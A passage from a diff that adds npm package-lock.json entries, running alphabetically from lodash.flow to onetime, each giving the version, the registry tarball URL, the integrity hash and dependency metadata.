"https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", + "integrity": "sha512-ff3BX/tSioo+XojX4MOsOMhJw0nZoUEF011LX8g8d3gvjVbxd89cCio4BCXronjxcTUIJUoqKEUA+n4CqvvRPw==" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "devOptional": true + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lunr-languages": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/lunr-languages/-/lunr-languages-1.13.0.tgz", + "integrity": "sha512-qgTOarcnAtVFKr0aJ2GuiqbBdhKF61jpF8OgFbnlSAb1t6kOiQW67q0hv0UQzzB+5+OwPpnZyFT/L0L9SQG1/A==" + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/mark.js": { + "version": "8.11.1", + "resolved": "https://registry.npmjs.org/mark.js/-/mark.js-8.11.1.tgz", + "integrity": "sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==" + }, + "node_modules/markdown-escapes": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/markdown-escapes/-/markdown-escapes-1.0.4.tgz", + "integrity": "sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/mdast-squeeze-paragraphs": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-squeeze-paragraphs/-/mdast-squeeze-paragraphs-4.0.0.tgz", + "integrity": "sha512-zxdPn69hkQ1rm4J+2Cs2j6wDEv7O17TfXTJ33tl/+JPIoEmtV9t2ZzBM5LPHE8QlHsmVD8t3vPKCyY3oH+H8MQ==", + "dependencies": { + "unist-util-remove": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-definitions": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz", + "integrity": "sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ==", + "dependencies": { + "unist-util-visit": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-hast": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-10.0.1.tgz", + "integrity": "sha512-BW3LM9SEMnjf4HXXVApZMt8gLQWVNXc3jryK0nJu/rOXPOnlkUjmdkDlmxMirpbU9ILncGFIwLH/ubnWBbcdgA==", + "dependencies": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "mdast-util-definitions": "^4.0.0", + "mdurl": "^1.0.0", + "unist-builder": "^2.0.0", + "unist-util-generated": "^1.0.0", + "unist-util-position": "^3.0.0", + "unist-util-visit": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", + "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "node_modules/mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", + "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "dependencies": { + "fs-monkey": "^1.0.4" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.18", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", + "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", + "dependencies": { + "mime-db": "~1.33.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types/node_modules/mime-db": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", + "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.7.6", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.7.6.tgz", + "integrity": "sha512-Qk7HcgaPkGG6eD77mLvZS1nmxlao3j+9PkrT9Uc7HAE1id3F41+DdBRYRYkbyfNRGzm8/YWtzhw7nVPmwhqTQw==", + "dependencies": { + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mrmime": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-1.0.1.tgz", + "integrity": "sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw==", + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/mustache": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/mustache/-/mustache-4.2.0.tgz", + "integrity": "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ==", + "bin": { + "mustache": "bin/mustache" + } + }, + "node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "devOptional": true + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-emoji": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/node-emoji/-/node-emoji-1.11.0.tgz", + "integrity": "sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A==", + "dependencies": { + "lodash": "^4.17.21" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-releases": { + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nprogress": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/nprogress/-/nprogress-0.2.0.tgz", + "integrity": "sha512-I19aIingLgR1fmhftnbWWO3dXc0hSxqHQHQb3H8m+K3TnEn/iSeTZZOyvKXWqQESMwuUVnatlCnZdLBZZt2VSA==" + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.12.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", + "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.6.tgz", + "integrity": "sha512-leTPzo4Zvg3pmbQ3rDK69Rl8GQvIqMWubrkxONG9/ojtFE2rD9fjMKfSI5BxW3osRH1m6VdzmqK8oAY9aT4x5w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.6.tgz", + "integrity": "sha512-VciD13dswC4j1Xt5394WR4MzmAQmlgN72phd/riNp9vtD7tp4QQWJ0R4wvclXcafgcYK8veHRed2W6XeGBvcfg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.hasown": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.2.tgz", + "integrity": "sha512-B5UIT3J1W+WuWIU55h0mjlwaqxiE5vYENJXIXZ4VFe05pNYrkKuK0U/6aFcb0pKywYJh7IhfoqUfKVmrJJHZHw==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.6.tgz", + "integrity": "sha512-FVVTkD1vENCsAcwNs9k6jea2uHC/X0+JcjG8YA60FN5CMaJmG95wT9jek/xX9nornqGRrBkKtzuAu2wuHpKqvw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": 